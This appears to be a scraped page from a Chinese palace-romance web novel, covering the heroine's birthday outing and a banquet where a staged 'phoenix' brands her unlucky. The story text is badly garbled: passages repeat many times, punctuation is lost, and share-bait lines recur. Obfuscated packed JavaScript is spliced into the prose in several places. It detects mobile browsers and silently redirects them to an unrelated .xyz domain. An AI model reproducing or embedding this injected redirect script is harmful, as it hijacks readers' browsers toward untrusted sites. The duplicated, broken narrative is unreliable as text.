云清婳:??? 孝啊! 太孝了! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 一会儿。” 他哑然失笑强行给她穿好衣裙、鞋袜后 云清婳不明白她过生辰裴墨染兴奋个什么劲儿? 裴墨染带着云清婳跟孩子去船舫上游湖。 孩子们还没坐过船他们好奇地看着一切在裴墨染的怀里东张西望。 云清婳倚靠在船舱内的贵妃榻上悠悠地吃着早茶。 晨曦的阳光射进窗棂将屋内分为一明一暗两部分。 秋日的阳光洒在云清婳脸上好似给她倾国倾城的容颜描上了金边。 飞霜端上一碟酸甜口的糕点“主子最近苏灵音格外安分就是皇后总想着见殿下但是殿下都没答应。” “皇后已经黔驴技穷了。但是坐以待毙可不像苏灵音的性子。今日是我的生辰这可是她下手的好时候。”她平静地分析。 “那该如何是好?”飞霜的眉心拧成了川字。 “苏灵音动手咱们也能动手啊。”云清婳眼波流转看向窗外。 裴墨染站在船边正把辞忧举高让她骑在他的脖子上。 他抓着的辞忧的小肉腿弯着腰方便辞忧看着船下跳出水面的锦鲤。 辞忧咯咯笑个不停“鱼鱼……” 承基在地上急得跳脚“爹爹宝宝也要!” 她的脸色一沉心好似都被吊了起来。 狗男人有病吧? 别把她辛辛苦苦生的孩子搞没了! 这可是她上位的筹码! 她匆忙小跑出去“裴墨染!你把辞忧放下来!” 裴墨染笑吟吟地转过身“辞忧想看鱼呢。” “若是孩子掉下去我就要了你的命。”她的小脸一拧愠怒不已。 她巴掌大的脸上精致小巧的五官皱起来黛眉一挤像是发威的奶猫。 裴墨染很想笑但是不敢于是他唯唯诺诺地将孩子放下来。 “爹爹抱抱。”承基抱着他的腿葡萄眼跟洗过一样水汪汪地看着他。 裴墨染嘁了一声“还抱?没听见你娘要要爹的命?” “打爹爹屁屁。”承基扯扯云清婳的裙摆机智地出主意。 辞忧学着皇上捋了捋下巴上不存在的胡子“斩了吧。” 裴墨染:??? 云清婳:??? 孝啊! 太孝了! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一会儿。” 他哑然失笑,强行给她穿好衣裙、鞋袜后,将人抱下了榻。 云清婳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“打爹爹屁屁。”承基扯扯云清婳的裙摆,机智地出主意。 辞忧学着皇上,捋了捋下巴上不存在的胡子,“斩了吧。” 裴墨染:??? 云清婳:??? 孝啊! 太孝了! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一会儿。” 他哑然失笑强行给她穿好衣裙、鞋袜后将人抱下了榻。 云清婳不明白她过生辰裴墨染兴奋个什么劲儿? 裴墨染带着云清婳跟孩子去船舫上游湖。 孩子们还没坐过船他们好奇地看着一切在裴墨染的怀里东张西望。 云清婳倚靠在船舱内的贵妃榻上悠悠地吃着早茶。 晨曦的阳光射进窗棂将屋内分为一明一暗两部分。 秋日的阳光洒在云清婳脸上好似给她倾国倾城的容颜描上了金边。 飞霜端上一碟酸甜口的糕点“主子最近苏灵音格外安分就是皇后总想着见殿下但是殿下都没答应。” “皇后已经黔驴技穷了。但是坐以待毙可不像苏灵音的性子。今日是我的生辰这可是她下手的好时候。”她平静地分析。 “那该如何是好?”飞霜的眉心拧成了川字。 “苏灵音动手咱们也能动手啊。”云清婳眼波流转看向窗外。 裴墨染站在船边正把辞忧举高让她骑在他的脖子上。 他抓着的辞忧的小肉腿弯着腰方便辞忧看着船下跳出水面的锦鲤。 辞忧咯咯笑个不停“鱼鱼……” 承基在地上急得跳脚“爹爹宝宝也要!” 她的脸色一沉 狗男人有病吧? 别把她辛辛苦苦生的孩子搞没了! 这可是她上位的筹码! 她匆忙小跑出去“裴墨染!你把辞忧放下来!” 裴墨染笑吟吟地转过身“辞忧想看鱼呢。” “若是孩子掉下去我就要了你的命。”她的小脸一拧愠怒不已。 她巴掌大的脸上精致小巧的五官皱起来黛眉一挤像是发威的奶猫。 裴墨染很想笑但是不敢于是他唯唯诺诺地将孩子放下来。 “爹爹抱抱。”承基抱着他的腿葡萄眼跟洗过一样水汪汪地看着他。 裴墨染嘁了一声“还抱?没听见你娘要要爹的命?” “打爹爹屁屁。”承基扯扯云清婳的裙摆机智地出主意。 辞忧学着皇上捋了捋下巴上不存在的胡子“斩了吧。” 裴墨染:??? 云清婳:??? 孝啊! 太孝了! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一会儿。” 他哑然失笑强行给她穿好衣裙、鞋袜后将人抱下了榻。 云清婳不明白她过生辰裴墨染兴奋个什么劲儿? 裴墨染带着云清婳跟孩子去船舫上游湖。 孩子们还没坐过船他们好奇地看着一切在裴墨染的怀里东张西望。 云清婳倚靠在船舱内的贵妃榻上悠悠地吃着早茶。 晨曦的阳光射进窗棂将屋内分为一明一暗两部分。 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她哑然,“可是在外面,还是要注意些的。” “好。”他一口答应,“你是寿星,今日你说什么是什么,我都听你的。” 云清婳狡黠地笑了,“真的我说什么是什么?” “……自然。”裴墨染心中隐隐不安,他有种不好的预感。 蛮蛮似乎又要戏弄他。 云清婳思考了一番,心里升起玩意。 不过,她准备晚上再逗他。 裴墨染搂着她的腰,二人站在甲板上共赏湖光山色,这是早就答应她的,一拖再拖,从夏天拖到了秋天。 好在秋季的景色也不错,层林尽染,满山红遍。 “蛮蛮,有时我会觉得很愧疚,因为我不能陪你跟孩子。但是诸葛先生每日都会雷打不动地回府,给诸葛夫人煎药。”他闷声说了一句。 云清婳偏过头,看着他的侧脸,他的轮廓棱角分明,下颔线十分优越,尖削的下巴略显出他的矜贵与清冷。 不得不说,在她的调教、熏陶下,狗男人的气质越发高贵了。 土狗摇 身一变,当真颇有几分高贵储君的感觉了。 “你是为了我跟孩子,我明白的。”她将脑袋靠在他的胸口上。 他的眼中流露出怜惜,“蛮蛮,若是早点遇见你就好了,我定不会追名逐利,争劳什子太子之位,我们一定能成为世间最自在、幸福的夫妻。” 她白了他一眼,“大傻子!” “你若是早点遇见我,我们定不会在一起!你不得皇上重视,又是武将,我怎会看上你?!” “就算在一起,你若真不争不抢,我们定会被旁人欺负,哪来的自在幸福?” 裴墨染的心脏微微有些痛,像是结痂的伤疤被抠开。 但他并不恼。 因为蛮蛮说的都是实话。 “什么大傻子?蛮蛮,你就不能亲近点唤我?之前你多温顺乖巧?现在就像一个小辣椒!”他垮着脸,委屈的指责。 云清婳噘着嘴,“裴墨染,你这是嫌弃我了?” 他瞬间警觉起来,头摇得跟拨浪鼓似的,“我哪有?你别冤枉我!娘子什么样,我就喜欢什么样!娘子一嗔一怒,皆在我心上。” 呕! 死恋爱脑! 她的手指在他心口戳了下,语气轻了点,“唤你墨染可好?这样可亲近?” 裴墨染心尖一颤,她的娇声像是一片羽毛从心上扫过,不留痕迹。 让他很痒,想挠,却挠不到。 他捏着她的下巴,情难自禁地在她的唇瓣上咬了一口。 云清婳身躯一震,万万没想到在光天化日之下,裴墨染这么大胆。 好在他只是蜻蜓点水,点到为止。 “干嘛呀?光天化日的,大家都看着呢。”她看似娇羞地将脸埋进他的胸口,粉拳在他胸口上砸了一下。 裴墨染轻轻地笑了,“谁让你撩拨我?” “我哪有?不是你让我叫你亲近些吗?”她鼓着嘴,一脸无辜,“你不喜欢吗?” 裴墨染简直快要血液激涌,他最受不得她这副懵懂无辜的表情。 “娘子怎么唤我都喜欢,不过我还是最喜欢听你唤我夫君。”他勾了下她的下巴。 云清婳双手搭在他的肩膀上,他的嘴角上扬,笑容狡猾得像一只狐狸,“夫君,皇后寿宴那天,我请安 时跟裴云澈在翊坤宫碰见了。 “我知道。他的态度很无所谓。 当日他就听人说了此事,但是并没有放在心上。 尽管不想承认,但裴云澈对蛮蛮的心意并非虚假,他应该不会伤害蛮蛮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233315|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “皇后当时在假寐,想借机罚我站规矩,裴云澈不知,他说了大逆不道的话,他说皇后又不是生母,他为何要担心皇后。皇后一定听见了。说着,她吐吐舌头,露出坏笑。 裴墨染冷笑了出来,呵,“真是大快人心!她一心笼络的儿子,从未把她放在心上! 他给皇后的所有报复、冲撞的威力,恐怕还抵不上裴云澈这句话的万分之一吧。 “难怪她最近频繁想见我,原来是裴云澈把她抛弃了,所以她终于想起我这个备用的儿子了。裴墨染扯出一抹自嘲的笑。 云清婳摇摇头,她无比认真的看着他的桃花眼,“才不是!夫君才不是备选,在我跟孩子心里,夫君永远是第一位的! 裴墨染心中无限温暖。 …… 回到东宫时,云清婳懵了。 厅中宾客云集,朝中身份尊贵的官员,与她交好的贵女甚至皇子、皇子妃都来了。 她早就发现了,这些日子裴墨染经常躲着她,就是在神神秘秘地筹备生辰宴。 却没想裴墨染居然在大办! 二十岁出头,又不是什么重要的年纪。 “怎么请了这么多人?怪难为情的。她扯扯他的袖口。 裴墨染勾勾她的下巴,混不吝道:“就允许他们收东宫的礼金,不允许我讨回来? 云清婳扑哧笑了。 “你带孩子先回去歇着,我去宴客就好。 他的本意其实是想哄蛮蛮高兴,前些日子府医说蛮蛮忧思过重,药石难医,真的把他吓到了。 他希望以后的日子蛮蛮可以日日开怀,不必忧心操劳任何事。 “殿下对主子真是用心了。飞霜喟叹,“倘若他能一直如此,主子或许可以交出真心? “不可以。她斩钉截铁。 谎言说一百遍,还是谎言。 她不会因为天天对裴墨染演戏,就真的爱上他。 一个人曾经捅了你一刀,后面拼命弥补,这一刀带来的伤害就会消失吗? 裴墨染当初为了赵婉宁可没少欺负她,她这人记仇! 从那时起,她跟裴墨染就注定不会在一起。 主仆二人准备去玄音阁时,苏灵音婷婷走来。 她的脸消瘦不少,颧骨突出,阴阳怪气道:“见过太子妃,住太子妃年年有今日,岁岁有今朝。 她一字一顿,每一个字都咬得死死的,似乎意有所指。 第306章 生辰宴,凤凰来了 “真是阴阳怪气。云清婳直接回怼。 苏灵音挑眉,她挑衅道:“太子妃怎会这么想?莫不是做了对不起我的事,心虚了? “我有什么好心虚的?害死苏盛的人,可是你啊!云清婳的杏眸泄出讥讽的光华。 苏灵音的五官变得扭曲,牙齿磨得硌吱硌吱响,“太子妃最好不要惹我,你说倘若我一不小心摔了、碰了,伤了腹中的孩儿,大家第一个怀疑的是谁呢? 飞霜的脸色剧变。 她忙不迭后退了好几步。 这个毒妇为了报复主子,说不定真的什么事都做得出来。 她担心地看向云清婳。 可云清婳毫不在意,她甚至大步上前一步,伸出手,“你是在威胁我?呵呵……来试试啊!你敢赌吗? 苏灵音吓得后退一步,连忙跟她拉开距离,赶紧用手护住小腹,警惕地看着云清婳,她瞪圆了眼,“你敢…… “真是自取其辱!云清婳真是不明白苏灵音是怎么想的。 居然觉得一个胎儿就能震慑住她? 真是又菜又爱玩。 飞霜讽刺道:“肚子里怀的是金疙瘩又怎么样?生出来才是本事。 “你们给我等着! 她一甩袖,转身就走。 “苏侧妃,下次小心点,别再送上门来了。云清婳的尾音上扬,颇带一丝邪气的玩味。 云清婳沐浴更衣,重新梳了发髻,换上了华丽的浅紫色锦绣百鸟襦裙,戴上了点翠花冠。 今日毕竟是宴席,宾客云集,她不得不打扮隆重点,免得失了东宫的体面。 …… 云清婳到宴厅时,赫然发现上首已经有人。 皇上、皇后居然来了。 皇上身着龙袍,精神矍铄,身材清瘦却硬朗,没有丝毫老态。 反观皇后,才几天不见,她的头上长了不少白发,脸上虽然覆盖着厚重的胭脂水粉,可垮下的脸跟眼角的皱纹暴露了她的枯槁、憔悴。 皇后的眼皮耷拉着,看到云清婳的瞬间,恨意翻涌。 “多谢父皇、母后赏脸,儿臣受宠若惊,恕儿臣有失远迎。云清婳的脸上写满了惊喜,她笑着福身。 皇上瞥了裴墨染一眼,“无妨,太子妃今日生辰,太子都没告诉朕,多亏了云澈提了一句。” 裴墨染讪讪地解释:“父皇日理万机,小辈的生辰,儿臣不敢叨扰您。” “太子怕不是觉得朕扫兴吧?”皇上冷哼,他的双眼尖锐,似能洞穿所有人的内心。 “儿臣不敢。”裴墨染连忙跪下叩首。 他心里的确是这么想的。 糟心的人他一个都没请。 谁曾想,裴云澈这厮不仅自己来,还把皇上、皇后带来了。 真是恬不知耻! 云清婳看向裴云澈,“多谢贤王殿下。” “还望太子妃笑纳。”贤王递给贴身太监一个眼色。 贴身太监送上一副画卷。 云清婳为了避嫌,命人将画收起来。 皇上抱着承基、辞忧,和蔼地逗弄着。 众人的眼底都流露出艳羡。 两个皇孙得圣上恩宠,真是有福了。 裴云澈看到这一幕,眼眸黑沉。 裴墨染抓住云清婳的小手,将她带去一边,酸溜溜地问:“那幅画,娘子可喜欢?” “我还没看呢,我怎么知道喜不喜欢?”她白了他一眼。 他气不过,在她脸蛋上捏了一下,“你想气死我?你就算看了也不准喜欢!” “某个人好酸啊!”云清婳夸张地在鼻子前扇了扇。 要不是在大庭广众之下,裴墨染恨不得打她的屁股。 “可笑,我怎会吃醋?裴云澈也配?”他傲娇地轻哼,“我的礼物,自然比他的好千倍。” “夫君要送我什么?”她瞪圆了眼,好奇地问。 裴墨染的嘴角上扬,“到时候你就知道了。” 宴会热闹非凡,歌舞升平,管乐丝竹音韵让人流连忘返。 各个官员携夫人恭敬地给云清婳送上礼物。 云清婳的礼节没有一丝怠慢,既不摆谱也不高傲,一一道谢。 收礼物,心情终归是好的。 她脸上的表情渐渐放松下来。 裴墨染凑在她耳边,“怎么样?开心吗?” “嗯。”她娇憨地颔首,“夫君的礼物可不能比他们差啊,否则就睡地板。” 他宠溺地看着她,“你就会欺负我,东宫的账房都是你在管,我能送你什么?” “那是你的事情,反正礼物若是不满意,我就撒泼!”她道。 太后也派桂嬷嬷送来了一柄质地剔透的紫玉如意。 皇后象征性地送了一套黄金头面。 皇上将西山的温泉行宫赏给云清婳。 这让在座的女眷看直了眼,发出羡慕的惊呼。 苏灵音的眼眸恨得通红。 她的手抚上小腹,她也怀孕了,她肚中也有皇嗣,为什么她什么都没有? “云清婳……今日是你的生日,也会是你的忌日。”她用仅自己能听到的声音,小声喃喃,眼中闪过报复性的癫狂。 推杯换盏,酒过三巡后,宴厅外的梧桐树上落下了一只身披彩色羽毛,长毛拖尾,只比母鸡小一圈的鸟。 “这是什么?”一个婢女发出惊呼声。 许多人侧头一看,发出阵阵惊叹。 “哇,好漂亮的鸟,我从未见过!” “这鸟像是传说典籍里的仙兽呢。” “这鸟落在梧桐树上,莫不是凤凰?太子妃的生辰宴上,凤凰都来贺寿,这是天神对太子妃的认可啊!” 在座宾客看云清婳的眼神都带着前所未有的恭敬。 也有人的脸上流露出嫉妒、不甘。 “凤凰?让朕看看。”皇上放下酒杯,从上首走下来,他的眼中含着期待跟不易察觉的质疑。 鸟不偏不倚,正落在梧桐树的最高点。 它的羽毛十分漂亮,在阳光下迸发出七彩的光。 皇上眯着眼,仰头看去,眼中划过惊艳,“太子妃的生辰,凤凰都来贺寿,这是大吉之兆啊!哈哈哈……” 云家人与有荣焉,立即跪下行礼。 而云丞相却心不在焉,在朝堂沉浮数十载,他总感觉此事不寻常。 云清婳头皮发麻,她不安地看向裴墨染,“夫君,这是你准备的?” “我怎会装神弄鬼?”裴墨染一口否认。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 他宠溺地看着她,“你就会欺负我,东宫的账房都是你在管,我能送你什么?” “那是你的事情,反正礼物若是不满意,我就撒泼!”她道。 太后也派桂嬷嬷送来了一柄质地剔透的紫玉如意。 皇后象征性地送了一套黄金头面。 皇上将西山的温泉行宫赏给云清婳。 这让在座的女眷看直了眼,发出羡慕的惊呼。 苏灵音的眼眸恨得通红。 她的手抚上小腹,她也怀孕了,她肚中也有皇嗣,为什么她什么都没有? “云清婳……今日是你的生日,也会是你的忌日。”她用仅自己能听到的声音,小声喃喃,眼中闪过报复性的癫狂。 推杯换盏,酒过三巡后,宴厅外的梧桐树上落下了一只身披彩色羽毛,长毛拖尾,只比母鸡小一圈的鸟。 “这是什么?”一个婢女发出惊呼声。 许多人侧头一看,发出阵阵惊叹。 “哇,好漂亮的鸟,我从未见过!” “这鸟像是传说典籍里的仙兽呢。” “这鸟落在梧桐树上,莫不是凤凰?太子妃的生辰宴上,凤凰都来贺寿,这是天神对太子妃的认可啊!” 在座宾客看云清婳的眼神都带着前所未有的恭敬。 也有人的脸上流露出嫉妒、不甘。 “凤凰?让朕看看。”皇上放下酒杯,从上首走下来,他的眼中含着期待跟不易察觉的质疑。 鸟不偏不倚,正落在梧桐树的最高点。 它的羽毛十分漂亮,在阳光下迸发出七彩的光。 皇上眯着眼,仰头看去,眼中划过惊艳,“太子妃的生辰,凤凰都来贺寿,这是大吉之兆啊!哈哈哈……” 云家人与有荣焉,立即跪下行礼。 而云丞相却心不在焉,在朝堂沉浮数十载,他总感觉此事不寻常。 云清婳头皮发麻,她不安地看向裴墨染,“夫君,这是你准备的?” “我怎会装神弄鬼?”裴墨染一口否认。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 他宠溺地看着她,“你就会欺负我,东宫的账房都是你在管,我能送你什么?” “那是你的事情,反正礼物若是不满意,我就撒泼!”她道。 太后也派桂嬷嬷送来了一柄质地剔透的紫玉如意。 皇后象征性地送了一套黄金头面。 皇上将西山的温泉行宫赏给云清婳。 这让在座的女眷看直了眼,发出羡慕的惊呼。 苏灵音的眼眸恨得通红。 她的手抚上小腹,她也怀孕了,她肚中也有皇嗣,为什么她什么都没有? “云清婳……今日是你的生日,也会是你的忌日。”她用仅自己能听到的声音,小声喃喃,眼中闪过报复性的癫狂。 推杯换盏,酒过三巡后,宴厅外的梧桐树上落下了一只身披彩色羽毛,长毛拖尾,只比母鸡小一圈的鸟。 “这是什么?”一个婢女发出惊呼声。 许多人侧头一看,发出阵阵惊叹。 “哇,好漂亮的鸟,我从未见过!” “这鸟像是传说典籍里的仙兽呢。” “这鸟落在梧桐树上,莫不是凤凰?太子妃的生辰宴上,凤凰都来贺寿,这是天神对太子妃的认可啊!” 在座宾客看云清婳的眼神都带着前所未有的恭敬。 也有人的脸上流露出嫉妒、不甘。 “凤凰?让朕看看。”皇上放下酒杯,从上首走下来,他的眼中含着期待跟不易察觉的质疑。 鸟不偏不倚,正落在梧桐树的最高点。 它的羽毛十分漂亮,在阳光下迸发出七彩的光。 皇上眯着眼,仰头看去,眼中划过惊艳,“太子妃的生辰,凤凰都来贺寿,这是大吉之兆啊!哈哈哈……” 云家人与有荣焉,立即跪下行礼。 而云丞相却心不在焉,在朝堂沉浮数十载,他总感觉此事不寻常。 云清婳头皮发麻,她不安地看向裴墨染,“夫君,这是你准备的?” “我怎会装神弄鬼?”裴墨染一口否认。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他宠溺地看着她“你就会欺负我东宫的账房都是你在管我能送你什么?” “那是你的事情反正礼物若是不满意我就撒泼!”她道。 太后也派桂嬷嬷送来了一柄质地剔透的紫玉如意。 皇后象征性地送了一套黄金头面。 皇上将西山的温泉行宫赏给云清婳。 这让在座的女眷看直了眼发出羡慕的惊呼。 苏灵音的眼眸恨得通红。 她的手抚上小腹她也怀孕了她肚中也有皇嗣为什么她什么都没有? “云清婳……今日是你的生日也会是你的忌日。”她用仅自己能听到的声音小声喃喃眼中闪过报复性的癫狂。 推杯换盏酒过三巡后宴厅外的梧桐树上落下了一只身披彩色羽毛长毛拖尾只比母鸡小一圈的鸟。 “这是什么?”一个婢女发出惊呼声。 许多人侧头一看发出阵阵惊叹。 “哇好漂亮的鸟我从未见过!” “这鸟像是传说典籍里的仙兽呢。” “这鸟落在梧桐树上 在座宾客看云清婳的眼神都带着前所未有的恭敬。 也有人的脸上流露出嫉妒、不甘。 “凤凰?让朕看看。”皇上放下酒杯从上首走下来他的眼中含着期待跟不易察觉的质疑。 鸟不偏不倚正落在梧桐树的最高点。 它的羽毛十分漂亮在阳光下迸发出七彩的光。 皇上眯着眼仰头看去眼中划过惊艳“太子妃的生辰凤凰都来贺寿这是大吉之兆啊!哈哈哈……” 云家人与有荣焉立即跪下行礼。 而云丞相却心不在焉在朝堂沉浮数十载他总感觉此事不寻常。 云清婳头皮发麻她不安地看向裴墨染“夫君这是你准备的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云家人与有荣焉立即跪下行礼。 而云丞相却心不在焉在朝堂沉浮数十载他总感觉此事不寻常。 云清婳头皮发麻她不安地看向裴墨染“夫君这是你准备的?” “我怎会装神弄鬼?”裴墨染一口否认。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他宠溺地看着她,“你就会欺负我,东宫的账房都是你在管,我能送你什么?” “那是你的事情,反正礼物若是不满意,我就撒泼!”她道。 太后也派桂嬷嬷送来了一柄质地剔透的紫玉如意。 皇后象征性地送了一套黄金头面。 皇上将西山的温泉行宫赏给云清婳。 这让在座的女眷看直了眼,发出羡慕的惊呼。 苏灵音的眼眸恨得通红。 她的手抚上小腹,她也怀孕了,她肚中也有皇嗣,为什么她什么都没有? “云清婳……今日是你的生日,也会是你的忌日。”她用仅自己能听到的声音,小声喃喃,眼中闪过报复性的癫狂。 推杯换盏,酒过三巡后,宴厅外的梧桐树上落下了一只身披彩色羽毛,长毛拖尾,只比母鸡小一圈的鸟。 “这是什么?”一个婢女发出惊呼声。 许多人侧头一看,发出阵阵惊叹。 “哇,好漂亮的鸟,我从未见过!” “这鸟像是传说典籍里的仙兽呢。” “这鸟落在梧桐树上,莫不是凤凰?太子妃的生辰宴上,凤凰都来贺寿,这是天神对太子妃的认可啊!” 在座宾客看云清婳的眼神都带着前所未有的恭敬。 也有人的脸上流露出嫉妒、不甘。 “凤凰?让朕看看。”皇上放下酒杯,从上首走下来,他的眼中含着期待跟不易察觉的质疑。 鸟不偏不倚,正落在梧桐树的最高点。 它的羽毛十分漂亮,在阳光下迸发出七彩的光。 皇上眯着眼,仰头看去,眼中划过惊艳,“太子妃的生辰,凤凰都来贺寿,这是大吉之兆啊!哈哈哈……” 云家人与有荣焉,立即跪下行礼。 而云丞相却心不在焉,在朝堂沉浮数十载,他总感觉此事不寻常。 云清婳头皮发麻,她不安地看向裴墨染,“夫君,这是你准备的?” “我怎会装神弄鬼?”裴墨染一口否认。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他宠溺地看着她,“你就会欺负我,东宫的账房都是你在管,我能送你什么? “那是你的事情,反正礼物若是不满意,我就撒泼!她道。 太后也派桂嬷嬷送来了一柄质地剔透的紫玉如意。 皇后象征性地送了一套黄金头面。 皇上将西山的温泉行宫赏给云清婳。 这让在座的女眷看直了眼,发出羡慕的惊呼。 苏灵音的眼眸恨得通红。 她的手抚上小腹,她也怀孕了,她肚中也有皇嗣,为什么她什么都没有? “云清婳……今日是你的生日,也会是你的忌日。她用仅自己能听到的声音,小声喃喃,眼中闪过报复性的癫狂。 推杯换盏,酒过三巡后,宴厅外的梧桐树上落下了一只身披彩色羽毛,长毛拖尾,只比母鸡小一圈的鸟。 “这是什么?一个婢女发出惊呼声。 许多人侧头一看,发出阵阵惊叹。 “哇,好漂亮的鸟,我从未见过! “这鸟像是传说典籍里的仙兽呢。 “这鸟落在梧桐树上,莫不是凤凰?太子妃的生辰宴上,凤凰都来贺寿,这是天神对太子妃的认可啊! 在座宾客看云清婳的眼神都带着前所未有的恭敬。 也有人的脸上流露出嫉妒、不甘。 “凤凰?让朕看看。皇上放下酒杯,从上首走下来,他的眼中含着期待跟不易察觉的质疑。 鸟不偏不倚,正落在梧桐树的最高点。 它的羽毛十分漂亮,在阳光下迸发出七彩的光。 皇上眯着眼,仰头看去,眼中划过惊艳,“太子妃的生辰,凤凰都来贺寿,这是大吉之兆啊!哈哈哈…… 云家人与有荣焉,立即跪下行礼。 而云丞相却心不在焉,在朝堂沉浮数十载,他总感觉此事不寻常。 云清婳头皮发麻,她不安地看向裴墨染,“夫君,这是你准备的? “我怎会装神弄鬼?裴墨染一口否认。 你的朋友正在书荒,快去帮帮他吧 第307章 看她高楼起,看她楼塌了 云清婳的眼眸一轮,直勾勾的盯着苏灵音,只见苏灵音的脸上毫无妒忌,甚至她的嘴角上翘。 就好像这一切的荣耀都是属于她的。 “太子妃被凤凰选中,得凤凰庇护,大昭定能风调雨顺啊。”苏灵音混在人群中高声说道。 她这明摆着是在给云清婳戴高帽子。 想要捧杀。 云清婳感受到了危机,电光火石之间,她联想到了什么。 原来苏灵音的报复是这个! 众人站在树下,仰起脖子,恭敬地望着鸟。 甚至有人双手合十,跪在地上祈祷许愿磕头。 “凤凰,保佑老夫的病快快好起来吧。” “凤凰,求您保护老夫小家老**安康健。” “……” 皇上的嘴角挂着笑,看着树上的鸟儿目不转睛。 许多贵女凑近云清婳,她们崇拜地看着她,“太子妃定是天生凤命,沾沾您的气数也是好的。” “太子妃的真身一定是凤凰。”柳玉突然来了一句。 一石激起千层浪,这引起了许多人的讨论。 大家的说辞越来越离谱,甚至有人说云清婳是凤凰转世。 云清婳差点一口老血喷出来。 皇上、皇后还没死呢,这跟说她想谋朝篡位有什么区别? 真是一方有难,八方添乱。 她一脸忧色地看向裴云澈。 裴云澈心领神会,他立即上前拱手道:“父皇,此鸟恐怕并非凤凰,古籍上有记载,凤凰羽毛是像火焰般橙红色,此鸟并不符合啊。” “……”皇上毫无情绪地瞥了他一眼。 似乎很不高兴他的指点。 裴云澈讪讪地闭上了嘴。 忽地,鸟儿煽动翅膀,飞离树枝,鸟喙张开,发出嘶哑的声音:“太子妃不祥!” “太子妃不祥!” “扫把星!” 说完,鸟儿朝南方飞走了。 众人都愣住了。 一时之间,宴厅内外悄然无声,落针可闻。 随后掀起了波澜,絮絮不止。 在场众人都瞪圆了眼,震惊不已。 也有人幸灾乐祸地看着云清婳。 云清婳险 些笑了。 这就是苏灵音的计谋吗? 真是弱智! 皇后畅快地笑了,她心中有种大仇得报的畅快,她看向云清婳,“呵……老天开眼啊,终于揭穿你的真面目了。” 人群中发出阵阵唏嘘,“凤凰说太子妃不祥,恐怕太子妃当真不祥!” “这是上天的预示,不得不重视啊!” “云清婳不能再当太子妃了,这会开罪神明,降罪于大昭的!” 云丞相面如土色,带着全家唯唯诺诺地跪下。 这明摆着是有人精心布局在整云家啊! 虞将军从席位上出列,拱手道:“还请陛下采信于凤凰,为了江山社稷,为了大昭百姓,废了太子妃!” 睿王夸张地长叹一声,他露出失望的表情,“父皇,其实儿臣早就想说了,皇嫂待嫁闺中时就名声极好,可人无完人,一个人怎会如此完美?莫不是用了蛊惑人心之术?” “之后太子妃还凑巧在七星连珠之夜诞下双生子,世上哪有这么巧合的事?一定是用了术法!” “一派胡言!”云褚激动地低吼,“太子妃诞下皇孙还有错了?两位皇孙乖巧伶俐,哪一点不好?仅凭一只畜生的三言两语,你们就要否认太子妃的一切?” 云隽叩首,他努力让语气保持平静,“陛下,数月前波斯使臣想要减免贡赋,多亏了太子妃赢下了比试。” “这岂不正好证明她有问题?眨眼的功夫,她就把那么复杂的魔方拼好,岂是常人能做到的?苏侧妃那般聪慧的人都用了半柱香,你还敢说太子妃不是妖孽?”睿王的表情狰狞,唾沫横飞。 十皇子拜了拜,“父皇,皇嫂对人宽厚,实在不像不祥之人啊。” 皇上抿着唇不语,像是在思考。 虞将军瞥了眼后面幸灾乐祸的皇后,他露出痛心疾首的表情,“苏将军跟我同为武将,我们为国尽忠多年,忠心耿耿,可苏侧妃嫁入府邸不久,苏家就家破人亡!这还不足以说明问题吗?” 皇后的眼泪掉了出来。 她想 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这次没法子了吧? 连裴墨染都不敢救你了呢。 裴云澈走到裴墨染身边他的语气很是轻蔑:“你相信那是凤凰?” “你想说什么?”裴墨染的声音低沉。 他正色道:“把那只鸟射下来你敢不敢?” 那只鸟是不是凤凰谁也没有十足的把握。 倘若真是凤凰裴墨染必会被降罪太子之位也难保。 这些话被云清婳尽收耳中她也想看看裴墨染的选择。 裴墨染深深看了云清婳一眼不动声色地离开了。 “呜呜……陛下儿臣冤枉啊!儿臣向来本本分分从不逾越不知为何飞来横祸!”云清婳哭得楚楚动人。 皇后感到前所未有的恣意、痛快她叩首道:“陛下凤凰说的话还有假吗?难道陛下要为了太子妃拿江山社稷作赌注?” 皇上鬓角上的青筋暴起。 他最恨后宫干政! 第308章 转机来了 皇后一个妇道人家咄咄逼人地说这些,是在威胁他吗? 皇上的脸上阴云翻滚,眼中藏有暗芒。 “皇后慎言!”他又冷又硬地砸下一句话,像是一巴掌重重甩在皇后的脸上。 皇后意识到了什么,直打寒噤,牙齿发出磕碰声。“臣妾知错……” 虞将军拱手道:“陛下三思啊,太子妃不祥,不能忽略上苍的预示啊!” “陛下三思!”拥护虞将军的人纷纷跪下。 云清婳在心底痛骂了裴墨染一百遍,狗男人究竟是怎么准备寿宴的? 这些人究竟是怎么混进来的? 云丞相道:“陛下,太子妃这些年赈灾、捐献、诞下皇子,没有功劳也有苦劳啊!” 拥护云家的官员也跟着跪下,“求陛下网开一面!” 皇上抿唇不语,谁都看不出他心里在想什么。 苏灵音的视线透过人群,落在云清婳单薄清瘦的身躯上。 